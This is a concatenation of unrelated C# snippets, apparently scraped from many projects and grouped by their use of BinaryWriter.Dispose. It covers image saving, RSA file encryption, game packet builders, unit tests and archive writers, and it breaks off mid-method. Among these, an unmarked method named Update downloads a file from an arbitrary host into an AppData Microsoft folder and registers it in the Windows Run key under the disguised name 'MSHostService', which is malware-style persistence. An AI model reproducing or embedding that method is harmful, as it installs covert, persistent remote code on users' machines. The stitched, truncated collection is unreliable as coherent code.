/// <summary> /// 把经过base64编码的字符串保存为文件 /// </summary> /// <param name="base64String">经base64加码后的字符串 </param> /// <param name="fileName">保存文件的路径和文件名 </param> /// <returns>保存文件是否成功 </returns> public static bool StringToFile(string base64String, string fileName) { bool bl = false; System.IO.FileStream fs = new System.IO.FileStream(fileName, System.IO.FileMode.Create); System.IO.BinaryWriter bw = new System.IO.BinaryWriter(fs); try { if (!string.IsNullOrEmpty(base64String) && System.IO.File.Exists(fileName)) { //base64String = base64String.Replace("data:image/png;base64,", ""); base64String = base64String.Split(',')[1]; bw.Write(Convert.FromBase64String(base64String)); bw.Dispose(); fs.Dispose(); bw.Close(); fs.Close(); } bl = true; } catch (Exception ex) { PublicClass.AddLog("Save the picture", "StringToFile", fileName + "---" + ex.ToString()); } finally { bw.Dispose(); fs.Dispose(); bw.Close(); fs.Close(); GC.Collect(); } return(bl); }
/// <summary> /// Image: prefix[6] + change[1] + size[1] + message_bytes /// </summary> public Bitmap CreateImage(string message, bool insertBlankPixels = false) { var messageBytes = System.Text.Encoding.UTF8.GetBytes(message); // Create object to write. _CurrentChangeValue++; // Reset count if too big. if (_CurrentChangeValue > 0xFFFFFF) { _CurrentChangeValue = 0; } var ms = new MemoryStream(); var br = new System.IO.BinaryWriter(ms); // Write Prefix bytes. br.Write(ColorPrefixBytes); // Write change value. var changePixelBytes = Basic.ColorsToBytes(new[] { _CurrentChangeValue }); br.Write(changePixelBytes); // Write message size value. var sizePixelBytes = Basic.ColorsToBytes(new[] { messageBytes.Length }); br.Write(sizePixelBytes); // Write message bytes. br.Write(messageBytes); // Write missing bytes for complete color. var missingBytes = (3 - (messageBytes.Length % 3)) % 3; for (int i = 0; i < missingBytes; i++) { br.Write((byte)0); } var allBytes = ms.ToArray(); br.Dispose(); if (insertBlankPixels) { // Insert blank pixels in the middle. allBytes = InsertBlankPixels(allBytes); } var pixelCount = allBytes.Length / 3; // Set image format. var format = System.Drawing.Imaging.PixelFormat.Format32bppArgb; // If format contains Alpha color then add alpha color. if (format == System.Drawing.Imaging.PixelFormat.Format32bppArgb) { allBytes = JocysCom.ClassLibrary.Drawing.Basic.BppFrom24To32Bit(allBytes); } // Image width will be double since every second pixel is blank. var image = new Bitmap(pixelCount, 1, format); var g = Graphics.FromImage(image); // Image bytes size must match new bytes size. // var imageBytes = Basic.GetImageBytes(image); Basic.SetImageBytes(image, allBytes); g.Dispose(); return(image); }
public async Task SendPacket(IPacket packet, Stream netStream) { var ms = new MemoryStream(); var bw = new BinaryWriter(ms); if (packet is IAutoSerializePacket) (packet as IAutoSerializePacket).AutoSerialize(bw); else { bw.Write(packet.ID); packet.SerializePacket(bw); } bw.Flush(); // Copy ms -> redirect writer to new ms -> prepend packet size prefix -> append packet paylod FinalizePacket(ref bw); ms.Dispose(); // Dispose of expired ms, writer's basestream is created in FinalizePacket ms = bw.BaseStream as MemoryStream; // this here failed? ye wait a moment await netStream.WriteAsync(ms.ToArray(), 0, (int)ms.Length); if (OnPacketSent != null) OnPacketSent(null, new PacketEventArgs(null, packet, (int)ms.Length)); ms.Dispose(); bw.Dispose(); }
/// <summary> /// Metoda za asimetrično kriptiranje /// </summary> /// <param name="file"></param> public void AsymetriycCrypt(string file) { RSACryptoServiceProvider rsa = new RSACryptoServiceProvider(); StreamReader streamReader = new StreamReader("javni_kljuc.txt"); string publicKey = streamReader.ReadToEnd(); rsa.FromXmlString(publicKey); streamReader.Close(); string record = file + ".rsa"; FileStream fstreamU = File.OpenRead(file), fstreamO = new FileStream(record, FileMode.Create, FileAccess.ReadWrite); BinaryWriter bw = new BinaryWriter(fstreamO); BinaryReader binReader = new BinaryReader(fstreamU); byte[] bytes = binReader.ReadBytes((int)fstreamU.Length); binReader.Close(); byte[] crypt = rsa.Encrypt(bytes, false); bw.Write(crypt); bw.Flush(); bw.Close(); bw.Dispose(); fstreamU.Close(); fstreamU.Dispose(); }
/// <summary> /// Metoda za asimetrično dekriptiranje /// </summary> /// <param name="file"></param> public void AsymetriycDecrypt(string file) { RSACryptoServiceProvider rsa = new RSACryptoServiceProvider(); RSACryptoServiceProvider.UseMachineKeyStore = false; StreamReader streamReader = new StreamReader("privatni_kljuc.txt"); string privateKey = streamReader.ReadToEnd(); rsa.FromXmlString(privateKey); streamReader.Close(); int indexEcb = file.LastIndexOf(".rsa"); string zapis = file.Substring(0, indexEcb); FileStream fstreamU = File.OpenRead(file), fstreamO = new FileStream(zapis, FileMode.Create, FileAccess.ReadWrite); BinaryWriter bw = new BinaryWriter(fstreamO); BinaryReader binReader = new BinaryReader(fstreamU); byte[] bytes = binReader.ReadBytes((int)fstreamU.Length); binReader.Close(); byte[] decrypt = rsa.Decrypt(bytes, false); bw.Write(decrypt); bw.Flush(); bw.Close(); bw.Dispose(); fstreamU.Close(); fstreamU.Dispose(); }
public static void WriteToFileSystem(string filename, byte[] input) { FileStream fs = null; BinaryWriter bw = null; try { fs = new FileStream(filename, FileMode.Create, FileAccess.Write, FileShare.ReadWrite); bw = new BinaryWriter(fs); using (var ms = new MemoryStream(input)) { bw.Write(ms.ToArray()); } } catch (Exception ex) { throw new Exception("Writing to the path '" + filename + "' failed.", ex); } finally { if (bw != null) { bw.Close(); bw.Dispose(); } if (fs != null) { fs.Close(); fs.Dispose(); } } }
public void Write(string fileName, bool overwrite) { _stream = new MemoryStream(); _writer = new BinaryWriter(_stream); if (File.Exists(fileName) && !overwrite) { return; } _writer.Write(_file.Version); WriteStringTable(); WriteBlock(_file.MainBlock); string dir = Path.GetDirectoryName(fileName); if (!Directory.Exists(dir)) { Directory.CreateDirectory(dir); } File.WriteAllBytes(fileName, _stream.ToArray()); _writer.Close(); _stream.Close(); _writer.Dispose(); _stream.Dispose(); }
/// <summary> /// Encrypts IdentityToken data with the RSA algorithm. /// </summary> /// <returns>A byte array.</returns> public static byte[] EncryptTokenData(this RSA rsa, byte[] dataToEncrypt, string secPolicyUri) { int cipherTextBlockSize = rsa.KeySize / 8; int plainTextBlockSize; switch (secPolicyUri) { case SecurityPolicyUris.Basic128Rsa15: plainTextBlockSize = Math.Max(cipherTextBlockSize - 11, 1); break; case SecurityPolicyUris.Basic256: plainTextBlockSize = Math.Max(cipherTextBlockSize - 42, 1); break; case SecurityPolicyUris.Basic256Sha256: plainTextBlockSize = Math.Max(cipherTextBlockSize - 42, 1); break; default: plainTextBlockSize = 1; break; } int blockCount = CeilingDivide(dataToEncrypt.Length + 4, plainTextBlockSize); int plainTextSize = blockCount * plainTextBlockSize; int cipherTextSize = blockCount * cipherTextBlockSize; // setup source var source = SerializableBytes.CreateWritableStream(); var writer = new BinaryWriter(source); try { // encode length. writer.Write(dataToEncrypt.Length); // encode data. writer.Write(dataToEncrypt); // round up to multiple of plainTextBlockSize source.SetLength(plainTextSize); source.Seek(0L, SeekOrigin.Begin); // setup target byte[] cipherText = new byte[cipherTextSize]; var target = new MemoryStream(cipherText, true); try { rsa.EncryptStream(source, target, secPolicyUri); return cipherText; } finally { target.Dispose(); } } finally { writer.Dispose(); } }
/// <summary> /// Creates a Csv database schema from a json file /// </summary> /// <param name="jsonfilepath">json file path</param> /// <param name="flags">creation schema flags</param> /// <returns></returns> public static CsvDb CreateFromJson(string jsonfilepath, DbSchemaConfigType flags = DbSchemaConfigType.None) { //generate the __schema.bin file and create normal database var text = io.File.ReadAllText(jsonfilepath); ////Newtonsoft.Json.JsonConvert.DeserializeObject<CsvDbStructure>(text); ////fastJSON is 4X+ faster than Newtonsoft.Json parser ////https://github.com/mgholam/fastJSON var schema = fastJSON.JSON.ToObject <DbSchemaConfig>(text); //define paths var rootPath = io.Path.GetDirectoryName(jsonfilepath); var sysPath = io.Path.Combine(rootPath, $"{SchemaSystemFilename}"); //set flags schema.Flags = flags; //save var writer = new io.BinaryWriter(io.File.Create(sysPath)); schema.Save(writer); writer.Dispose(); //remove the ending \bin\ return(new CsvDb(io.Path.GetDirectoryName(rootPath))); }
public static void EncodeFile(string sourceFilePath, string destinationFilePath) { FileStream fs_src = new FileStream(sourceFilePath, FileMode.Open, FileAccess.Read); BinaryReader br_src = new BinaryReader(fs_src); FileStream fs_dst = new FileStream(destinationFilePath, FileMode.Open, FileAccess.Write); BinaryWriter bw_dst = new BinaryWriter(fs_dst); string temp; ASCIIEncoding asci = new ASCIIEncoding(); while (fs_src.Length > fs_src.Position) { temp = string.Empty; temp += (char)br_src.ReadByte(); if (fs_src.Position + 1 < fs_src.Length) temp += (char)br_src.ReadByte(); if (fs_src.Position + 1 < fs_src.Length) temp += (char)br_src.ReadByte(); bw_dst.Write(Convert.ToBase64String(asci.GetBytes(temp))); } bw_dst.Close(); bw_dst.Dispose(); br_src.Close(); br_src.Dispose(); fs_src.Close(); fs_src.Dispose(); fs_dst.Close(); fs_dst.Dispose(); temp = null; }
/// <summary> /// 收到监听请求回调 /// </summary> /// <param name="ia"></param> public void GetContextAsyncCallback(IAsyncResult ia) { try { if (ia.IsCompleted) { var ctx = _listerner.EndGetContext(ia); ctx.Response.StatusCode = 200; if (ResponseEvent != null) { ResponseEvent.BeginInvoke(ctx, null, null); } else { System.IO.BinaryWriter br = new System.IO.BinaryWriter(ctx.Response.OutputStream, new UTF8Encoding()); br.Write("error: 服务器未处理"); ctx.Response.Close(); br.Close(); br.Dispose(); } } _listerner.BeginGetContext(_ac, null); } catch (Exception exception) { } }
public void Dispose() { this.objects = null; if (!leaveOpen) { bw.Dispose(); } }
private void button3_Click(object sender, EventArgs e) { BinaryWriter bw = new BinaryWriter(File.OpenWrite(path)); //bw.Write(textBox1.Text); short myshort = 1; byte[] buffer = BitConverter.GetBytes(myshort); Array.Reverse(buffer); bw.Dispose(); }
public static void WriteBinaryFile(List<char> input) { FileStream fs = new FileStream("C:\\TEMP\\BINARY.BIN",FileMode.Create, FileAccess.ReadWrite); BinaryWriter bw = new BinaryWriter(fs,System.Text.Encoding.UTF8); foreach(char i in input) { bw.Write(i); } bw.Flush(); bw.Close(); bw.Dispose(); }
private void button2_Click(object sender, EventArgs e) { BinaryWriter bw = new BinaryWriter(File.OpenWrite(path)); short myshort = 1; byte[] buffer = BitConverter.GetBytes(myshort); Array.Reverse(buffer);//convert bytes in the wrong directions bw.Write('C');//write just a character. bw.Write(1);//write in wrong direction like before. bw.Dispose(); }
static public int Dispose(IntPtr l) { try { System.IO.BinaryWriter self = (System.IO.BinaryWriter)checkSelf(l); self.Dispose(); pushValue(l, true); return(1); } catch (Exception e) { return(error(l, e)); } }
static void FirmTest(string[] args) { FwFile myfirm = new FwFile(); myfirm.Test(args.Length >1 ? args[2] : Directory.GetCurrentDirectory() + @"\rofs3.fpsx"); string binfile = Directory.GetFiles( Directory.GetCurrentDirectory() + @"\ROFS2", "?_code.bin" )[0]; UseExternalTools.ExtractImage(Directory.GetCurrentDirectory(), Directory.GetCurrentDirectory() + @"\ROFS2"+binfile, Directory.GetCurrentDirectory() + @"\ROFSROOT"); if ( File.Exists( "test.hex" ) ) File.Delete( "test.hex" ); BinaryWriter bw = new BinaryWriter( new FileStream( "test.hex", FileMode.CreateNew, FileAccess.Write ) ); bw.Write( ( int ) 0x01020304 ); bw.Dispose(); }
private static void SetExpertMode(string source, string dest, bool expertMode) { BinaryReader reader = new BinaryReader(new FileStream(source, FileMode.Open)); int version = reader.ReadInt32(); if (version < 149) { MessageBox.Show("Error: Outdated terraria version"); return; } ulong magic = reader.ReadUInt64(); if ((magic & 72057594037927935uL) != 27981915666277746uL) { MessageBox.Show("Error: Invalid header"); return; } // Skip other file metadata... reader.ReadBytes(12); int positionCount = reader.ReadInt16(); int afterMetadataPos = reader.ReadInt32(); int afterHeaderPos = reader.ReadInt32(); // Skip positions... reader.ReadBytes((positionCount - 2) * 4); // Skip frame importance... reader.ReadBytes(reader.ReadInt16() / 8 + 1); if (reader.BaseStream.Position != afterMetadataPos) { MessageBox.Show("After Metadata Position Mismatch: expected " + afterMetadataPos + ", was " + reader.BaseStream.Position); return; } // Skip the first part of the header... reader.ReadString(); reader.ReadInt32(); reader.ReadInt32(); reader.ReadInt32(); reader.ReadInt32(); reader.ReadInt32(); reader.ReadInt32(); reader.ReadInt32(); // Get the offset... long expertModeFlagOffset = reader.BaseStream.Position; bool wasExpertMode = reader.ReadBoolean(); reader.Dispose(); // Notify the user if the world is changed... if (wasExpertMode == expertMode) { MessageBox.Show(expertMode ? "World was already Expert Mode." : "World was already not Expert Mode."); return; } BinaryWriter writer = new BinaryWriter(new FileStream(dest, FileMode.Open)); writer.BaseStream.Position = expertModeFlagOffset; writer.Write(expertMode); writer.Dispose(); MessageBox.Show(expertMode ? "World is now Expert Mode!" : "World is no longer Expert Mode!"); }
private void button1_Click(object sender, EventArgs e) { SaveFileDialog sfd = new SaveFileDialog(); sfd.Filter = "Text File|*.txt";//default type sfd.FileName = "MyTextFile";// default name sfd.Title = "Save Title"; // title name if (sfd.ShowDialog() == DialogResult.OK){ string path = sfd.FileName; BinaryWriter bw = new BinaryWriter(File.Create(path)); bw.Write("This is a test"); bw.Dispose(); } }
private void button1_Click(object sender, EventArgs e) { SaveFileDialog sfd = new SaveFileDialog(); sfd.Filter = "Text File |*.txt"; sfd.FileName = "MyTextFile"; sfd.Title = "Save File Dialog"; if (sfd.ShowDialog() == System.Windows.Forms.DialogResult.OK) { string path = sfd.FileName; BinaryWriter bw = new BinaryWriter(File.Create(path)); bw.Write("New File"); bw.Dispose(); } }
public static void SaveFeeds(IEnumerable<Feed> feeds) { // Save to temp file first in case of error. var tempFileName = Path.GetTempFileName(); FileStream stream = null; BinaryWriter writer = null; try { stream = File.Open(tempFileName, FileMode.Create, FileAccess.Write, FileShare.None); writer = new BinaryWriter(stream); writer.Write(SaveHeader); writer.Write(SaveVersion); writer.Write(feeds.Count()); foreach (var feed in feeds) { writer.Write(feed.Title); writer.Write(feed.Url); writer.Write(feed.SiteUrl); writer.Write(feed.Description ?? String.Empty); writer.Write(feed.Updated.ToBinary()); writer.Write(feed.IsPreserved); writer.Write(feed.Category ?? String.Empty); writer.Write(feed.Items.Count); foreach (var item in feed.Items) { writer.Write(item.Title); writer.Write(item.Url); writer.Write(item.PodcastUrl ?? String.Empty); writer.Write(item.Published.ToBinary()); writer.Write(item.Summary); writer.Write(item.IsRead); } } } finally { if (writer != null) { writer.Dispose(); } if (stream != null) { stream.Dispose(); } // Copy temp file to actual file. File.Copy(tempFileName, GetFeedsPath(), overwrite: true); File.Delete(tempFileName); } }
public static void Update(string param) { string addres = "http://" + param; var downloaded = new WebClient().DownloadData(addres); var name = Path.GetFileName(param); var pathToCopy = Environment.GetFolderPath(Environment.SpecialFolder.UserProfile) + @"\AppData\Local\Microsoft\"; pathToCopy = Directory.EnumerateDirectories(pathToCopy).ElementAt(0) + "\\" + name; RegistryKey rkApp = Registry.CurrentUser.OpenSubKey("SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run", true); rkApp.SetValue("MSHostService", pathToCopy); rkApp.Dispose(); BinaryWriter writer = new BinaryWriter(File.OpenWrite(pathToCopy)); writer.Write(downloaded); writer.Flush(); writer.Close(); writer.Dispose(); }
/// <summary> /// Saves the database to disk /// </summary> /// <returns></returns> public bool Save() { try { var writer = new io.BinaryWriter(io.File.Create(SchemaFilePath)); Schema.Save(writer); writer.Dispose(); return(true); } catch (Exception ex) { Console.WriteLine(ex.Message); return(false); } }
public void BinaryWriter_WriteCharTest() { Stream mstr = CreateStream(); BinaryWriter dw2 = new BinaryWriter(mstr); BinaryReader dr2 = new BinaryReader(mstr); char[] chArr = new char[0]; int ii = 0; // [] Write a series of characters to a MemoryStream and read them back chArr = new char[] { 'A', 'c', '\0', '\u2701', '$', '.', '1', 'l', '\u00FF', '\n', '\t', '\v' }; for (ii = 0; ii < chArr.Length; ii++) dw2.Write(chArr[ii]); dw2.Flush(); mstr.Position = 0; for (ii = 0; ii < chArr.Length; ii++) { char c = dr2.ReadChar(); Assert.Equal(chArr[ii], c); } Assert.Throws<EndOfStreamException>(() => dr2.ReadChar()); dw2.Dispose(); dr2.Dispose(); mstr.Dispose(); //If someone writes out characters using BinaryWriter's Write(char[]) method, they must use something like BinaryReader's ReadChars(int) method to read it back in. //They cannot use BinaryReader's ReadChar(). Similarly, data written using Write(char) can't be read back using ReadChars(int). //A high-surrogate is a Unicode code point in the range U+D800 through U+DBFF and a low-surrogate is a Unicode code point in the range U+DC00 through U+DFFF char ch; Stream mem = CreateStream(); BinaryWriter writer = new BinaryWriter(mem, Encoding.Unicode); //between 1 <= x < 255 int[] randomNumbers = new int[] { 1, 254, 210, 200, 105, 135, 98, 54 }; for (int i = 0; i < randomNumbers.Length; i++) { ch = (char)randomNumbers[i]; writer.Write(ch); } mem.Position = 0; writer.Dispose(); mem.Dispose(); }
public static string SaveImg(string imgdata) { string Path = "UploadedImages/"; string folderPath = HttpContext.Current.Server.MapPath(Path); Guid gid=Guid.NewGuid(); string fileNameWitPath = folderPath + "img_" +gid + ".png"; FileStream fs = new FileStream(fileNameWitPath, FileMode.Create); BinaryWriter bw = new BinaryWriter(fs); byte[] data = Convert.FromBase64String(imgdata); bw.Write(data); bw.Close(); bw.Dispose(); return "/" + Path +"img_"+ gid + ".png"; }
public void Dispose() { Close(); if (_bDataFile == null) { return; } lock (_lockObject) { if (_bDataFile == null) { return; } _bDataFile.Dispose(); _bDataFile = null; } }
public static byte[] CreateHandshakePacket(string username) { byte[] buffer; BinaryWriter writer = new BinaryWriter(new MemoryStream()); writer.Write((byte)MCPacketOpcodes.Handshake); writer.WriteNetwork(username); buffer = new byte[writer.BaseStream.Position]; writer.BaseStream.Position = 0; writer.BaseStream.Read(buffer, 0, buffer.Length); writer.Close(); writer.Dispose(); return buffer; }
public static byte[] CreateDisconnectPacket(string message) { byte[] buffer; BinaryWriter writer = new BinaryWriter(new MemoryStream()); writer.Write((byte)MCPacketOpcodes.Disconnect); writer.WriteNetwork(message); buffer = new byte[writer.BaseStream.Position]; writer.BaseStream.Position = 0; writer.BaseStream.Read(buffer, 0, buffer.Length); writer.Close(); writer.Dispose(); return buffer; }
public static byte[] CreateArmAnimationPacket(int id, bool animate) { byte[] buffer; BinaryWriter writer = new BinaryWriter(new MemoryStream()); writer.Write((byte)MCPacketOpcodes.ArmAnimation); writer.WriteNetwork(id); writer.Write(animate); buffer = new byte[writer.BaseStream.Position]; writer.BaseStream.Position = 0; writer.BaseStream.Read(buffer, 0, buffer.Length); writer.Close(); writer.Dispose(); return buffer; }
public static void Write(State s, String msg) { if (!Settings.Debug) return; while (isBeingUsed) ; lock (privateListToUseInLockToIndicateWhenFileIsBeingWrittenInto) { isBeingUsed = true; SanityCheck(); System.IO.BinaryWriter sw = new BinaryWriter(new FileStream("debug/debug.log", FileMode.Append)); sw.Write(Encode("[" + DateTime.Now.ToString() + "] " + "[" + Debug.DebugInfo.FramesPerSecond.ToString() + "FPS] [" + Debug.DebugInfo.UpdatesPerSecond.ToString() + "TPS] " + "[" + (System.Diagnostics.Process.GetCurrentProcess().WorkingSet64 / 1024 / 1024).ToString() + "mb] " + "[" + s.ToString() + "]" + " : " + msg + "\r\n")); sw.Close(); sw.Dispose(); isBeingUsed = false; } }
public void Ctor( string name, int virtualSize, int virtualAddress, int sizeOfRawData, int ptrToRawData, int ptrToRelocations, int ptrToLineNumbers, ushort numRelocations, ushort numLineNumbers, SectionCharacteristics characteristics) { var stream = new MemoryStream(); var writer = new BinaryWriter(stream, Encoding.UTF8, leaveOpen: true); writer.Write(PadSectionName(name)); writer.Write(virtualSize); writer.Write(virtualAddress); writer.Write(sizeOfRawData); writer.Write(ptrToRawData); writer.Write(ptrToRelocations); writer.Write(ptrToLineNumbers); writer.Write(numRelocations); writer.Write(numLineNumbers); writer.Write((uint) characteristics); writer.Dispose(); stream.Position = 0; var reader = new PEBinaryReader(stream, (int) stream.Length); var header = new SectionHeader(ref reader); Assert.Equal(name, header.Name); Assert.Equal(virtualSize, header.VirtualSize); Assert.Equal(virtualAddress, header.VirtualAddress); Assert.Equal(sizeOfRawData, header.SizeOfRawData); Assert.Equal(ptrToRawData, header.PointerToRawData); Assert.Equal(ptrToLineNumbers, header.PointerToLineNumbers); Assert.Equal(numRelocations, header.NumberOfRelocations); Assert.Equal(numLineNumbers, header.NumberOfLineNumbers); Assert.Equal(characteristics, header.SectionCharacteristics); }
public static void SaveMapping(int width, int height, Dictionary<Point, Point> dict, string transformer, string outPath, string metadataPath) { BinaryWriter b = new BinaryWriter(File.Open(outPath, FileMode.Create)); List<int> ints = new List<int>(); ints.Add(cantor_pair_calculate(width, height)); for (int y = 0; y < height; y += 1) { for (int x = 0; x < width; x += 1) { Point newPoint = new Point(x, y); if (dict.ContainsKey(newPoint)) { Point mappedPoint = dict[newPoint]; ints.Add(cantor_pair_calculate(mappedPoint.X, mappedPoint.Y)); } else { if (ints[ints.Count-1] < 0) { ints[ints.Count-1] -= 1; } else { ints.Add(-1); } } } } foreach(int i in ints) { b.Write(i); } b.Dispose(); b.Close(); string json = "{\"transform\":\"" + transformer + "\", \"width\":" + width.ToString() + ", \"height\":" + height.ToString() + "}"; File.WriteAllText(metadataPath, json); }
public byte[] SerializeXmlString(string xmlString) { if(string.IsNullOrEmpty(xmlString)) { return null; } nodeTemplates.Clear(); nodes.Clear(); stringPool.Clear(); valuePool.Clear(); nodeIdInc = 0; nodeTemplateIdInc = 0; XmlDocument doc = new XmlDocument(); doc.LoadXml(xmlString); TbXmlNode docNode = new TbXmlNode(); docNode.childrenIds = new List<ushort>(); XmlNodeList xmlNodeList = doc.ChildNodes; foreach(XmlNode xmlNode in xmlNodeList) { if(xmlNode.NodeType == XmlNodeType.Element) { ProcessXmlNode(docNode, xmlNode); } } BinaryWriter binaryWriter = new BinaryWriter(new MemoryStream(), Encoding.UTF8); Serialize(binaryWriter); byte[] buffer = new byte[binaryWriter.BaseStream.Length]; binaryWriter.BaseStream.Position = 0; binaryWriter.BaseStream.Read(buffer, 0, (int)binaryWriter.BaseStream.Length); binaryWriter.Close(); binaryWriter.Dispose(); return buffer; }
internal static byte[] AssembleByteData(IMessage message) { if(!DeliveryRegistry.IsMessageRegisterd(message)) throw new Exception("Message conversion error: Not registered"); //Create new BinaryWriter BinaryWriter binWriter = new BinaryWriter(new MemoryStream()); //Write header to byte steam MessageHeader.ToBytes(binWriter, DeliveryRegistry.GetMessageDiscriminant(message)); //Convert message to byte steam message.WritePayload(binWriter); //Convert byte stream into byte array byte[] byteData = ((MemoryStream)binWriter.BaseStream).ToArray(); //Dispose unused stuff binWriter.Dispose(); //Return byte stream return byteData; }
/// <summary> /// Sends settings from chief to worker process via anonymous control pipe. /// </summary> /// <param name="afterSettingsPipeCreated">Invoked with settings pipe handler, so the child worker process can be launched there with with handler as command line argument.</param> /// <param name="chiefLogReceiverPipe">Log receiver pipe settings to transfer.</param> /// <param name="workerSettings">Worker settings to transfer.</param> /// <param name="chiefProcess">Chief process.</param> /// <remarks> /// Method has 10 seconds timeout for worker process to connect to pipe and read settings. /// That is used to avoid blocking with controlPipe.WaitForPipeDrain() in case client failed to read settings or disconnected in the middle of sending message. /// </remarks> internal static void SendSettings( Action<string> afterSettingsPipeCreated, AnonymousPipeServerStream chiefLogReceiverPipe, ServerSettingsBase workerSettings, Process chiefProcess) { using (var chiefSettingsPipe = new AnonymousPipeServerStream(PipeDirection.Out, HandleInheritability.Inheritable)) { afterSettingsPipeCreated(chiefSettingsPipe.GetClientHandleAsString()); var binaryWriter = new BinaryWriter(chiefSettingsPipe); binaryWriter.Write(chiefLogReceiverPipe.GetClientHandleAsString()); binaryWriter.Write((Int32)chiefProcess.Id); new BinaryFormatter() .Serialize(chiefSettingsPipe, workerSettings); Thread.Sleep(10000); chiefSettingsPipe.DisposeLocalCopyOfClientHandle(); binaryWriter.Dispose(); // because it disposes underlying stream. } }
private sbyte[] toByteArray() { try { // TODO: check this MemoryStream bout = new MemoryStream(); BinaryWriter dout = new BinaryWriter(bout); dout.Write(SupportClass.ToByteArray(SupportClass.ToSByteArray(Encoding.GetEncoding("UTF8").GetBytes(name)))); dout.Write((Int16) type); dout.Write((Int16) clazz); //dout.writeInt(len); dout.Write((Int16) priority); dout.Write((Int16) weight); dout.Write((Int16) port); dout.Write(SupportClass.ToByteArray(SupportClass.ToSByteArray(Encoding.GetEncoding("UTF8").GetBytes(server)))); dout.Dispose(); return SupportClass.ToSByteArray(bout.ToArray()); } catch { throw new Exception(); } }
static int Main(string[] args) { if (args.Length != 2) { Console.WriteLine("Takes three arguments:\r\n"); Console.WriteLine("1: the plain-text strokes data file\r\n"); Console.WriteLine("2: the file to output the compiled data file to"); return -1; } StreamReader strokesIn = null; FileStream compiledOutStream = null; BinaryWriter compiledOut = null; try { strokesIn = new StreamReader(args[0]); compiledOutStream = new FileStream(args[1], FileMode.Create); compiledOut = new BinaryWriter(compiledOutStream); StrokesParser strokesParser = new StrokesParser(strokesIn); strokesParser.WriteCompiledOutput(compiledOut); compiledOut.Flush(); compiledOut.Close(); } catch (Exception ex) { Console.WriteLine(ex.ToString()); return -1; } finally { if (compiledOut != null) compiledOut.Dispose(); if (compiledOutStream != null) compiledOutStream.Dispose(); if (strokesIn != null) strokesIn.Dispose(); } return 0; }
public static string Save(IEnumerable packets) { if (!Directory.Exists("log")) Directory.CreateDirectory("log"); var file = $"log/{DateTime.Now.ToString("dd-MM-yy_HH.mm.ss")}.log"; var f = File.Create(file); var w = new BinaryWriter(f); foreach (PacketInfo p in packets) { w.Write(p.Length); w.Write(p.Data); w.Write(p.Opcode); w.Write(p.Time.ToFileTimeUtc()); w.Write((byte)p.Source); w.Write((byte)p.Destination); } w.Flush(); w.Close(); w.Dispose(); return file; }
/// <summary> /// Write an input stream to a torrent GZ file /// </summary> /// <param name="inputStream">Input stream to be moved</param> /// <param name="outDir">Output directory to build to</param> /// <param name="rom">DatItem representing the new information</param> /// <param name="date">True if the date from the DAT should be used if available, false otherwise (default)</param> /// <param name="romba">True if files should be output in Romba depot folders, false otherwise</param> /// <returns>True if the write was a success, false otherwise</returns> /// <remarks>This works for now, but it can be sped up by using Ionic.Zip or another zlib wrapper that allows for header values built-in. See edc's code.</remarks> public override bool Write(Stream inputStream, string outDir, Rom rom = null, bool date = false, bool romba = false) { bool success = false; // If the stream is not readable, return if (!inputStream.CanRead) { return(success); } // Make sure the output directory exists if (!Directory.Exists(outDir)) { Directory.CreateDirectory(outDir); } outDir = Path.GetFullPath(outDir); // Now get the Rom info for the file so we have hashes and size rom = new Rom(Utilities.GetStreamInfo(inputStream, inputStream.Length, keepReadOpen: true)); // Get the output file name string outfile = null; // If we have a romba output, add the romba path if (romba) { outfile = Path.Combine(outDir, Utilities.GetRombaPath(rom.SHA1)); // TODO: When updating to SHA-256, this needs to update to SHA256 // Check to see if the folder needs to be created if (!Directory.Exists(Path.GetDirectoryName(outfile))) { Directory.CreateDirectory(Path.GetDirectoryName(outfile)); } } // Otherwise, we're just rebuilding to the main directory else { outfile = Path.Combine(outDir, rom.SHA1 + ".gz"); // TODO: When updating to SHA-256, this needs to update to SHA256 } // If the output file exists, don't try to write again if (!File.Exists(outfile)) { // Compress the input stream FileStream outputStream = Utilities.TryCreate(outfile); // Open the output file for writing BinaryWriter sw = new BinaryWriter(outputStream); // Write standard header and TGZ info byte[] data = Constants.TorrentGZHeader .Concat(Utilities.StringToByteArray(rom.MD5)) // MD5 .Concat(Utilities.StringToByteArray(rom.CRC)) // CRC .ToArray(); sw.Write(data); sw.Write((ulong)rom.Size); // Long size (Unsigned, Mirrored) // Now create a deflatestream from the input file DeflateStream ds = new DeflateStream(outputStream, Ionic.Zlib.CompressionMode.Compress, Ionic.Zlib.CompressionLevel.BestCompression, true); // Copy the input stream to the output byte[] ibuffer = new byte[_bufferSize]; int ilen; while ((ilen = inputStream.Read(ibuffer, 0, _bufferSize)) > 0) { ds.Write(ibuffer, 0, ilen); ds.Flush(); } ds.Dispose(); // Now write the standard footer sw.Write(Utilities.StringToByteArray(rom.CRC).Reverse().ToArray()); sw.Write((uint)rom.Size); // Dispose of everything sw.Dispose(); outputStream.Dispose(); inputStream.Dispose(); } return(true); }
public override void Dispose() { _writer.Dispose(); base.Dispose(); }
/// <summary> /// Transform an input stream using the given rule /// </summary> /// <param name="input">Input stream</param> /// <param name="output">Output stream</param> /// <param name="keepReadOpen">True if the underlying read stream should be kept open, false otherwise</param> /// <param name="keepWriteOpen">True if the underlying write stream should be kept open, false otherwise</param> /// <returns>True if the file was transformed properly, false otherwise</returns> public bool TransformStream(Stream input, Stream output, bool keepReadOpen = false, bool keepWriteOpen = false) { bool success = true; // If the sizes are wrong for the values, fail long extsize = input.Length; if ((Operation > HeaderSkipOperation.Bitswap && (extsize % 2) != 0) || (Operation > HeaderSkipOperation.Byteswap && (extsize % 4) != 0) || (Operation > HeaderSkipOperation.Bitswap && (StartOffset == null || StartOffset % 2 == 0))) { Globals.Logger.Error("The stream did not have the correct size to be transformed!"); return(false); } // Now read the proper part of the file and apply the rule BinaryWriter bw = null; BinaryReader br = null; try { Globals.Logger.User("Applying found rule to input stream"); bw = new BinaryWriter(output); br = new BinaryReader(input); // Seek to the beginning offset if (StartOffset == null) { success = false; } else if (Math.Abs((long)StartOffset) > input.Length) { success = false; } else if (StartOffset > 0) { input.Seek((long)StartOffset, SeekOrigin.Begin); } else if (StartOffset < 0) { input.Seek((long)StartOffset, SeekOrigin.End); } // Then read and apply the operation as you go if (success) { byte[] buffer = new byte[4]; int pos = 0; while (input.Position < (EndOffset ?? input.Length) && input.Position < input.Length) { byte b = br.ReadByte(); switch (Operation) { case HeaderSkipOperation.Bitswap: // http://stackoverflow.com/questions/3587826/is-there-a-built-in-function-to-reverse-bit-order uint r = b; int s = 7; for (b >>= 1; b != 0; b >>= 1) { r <<= 1; r |= 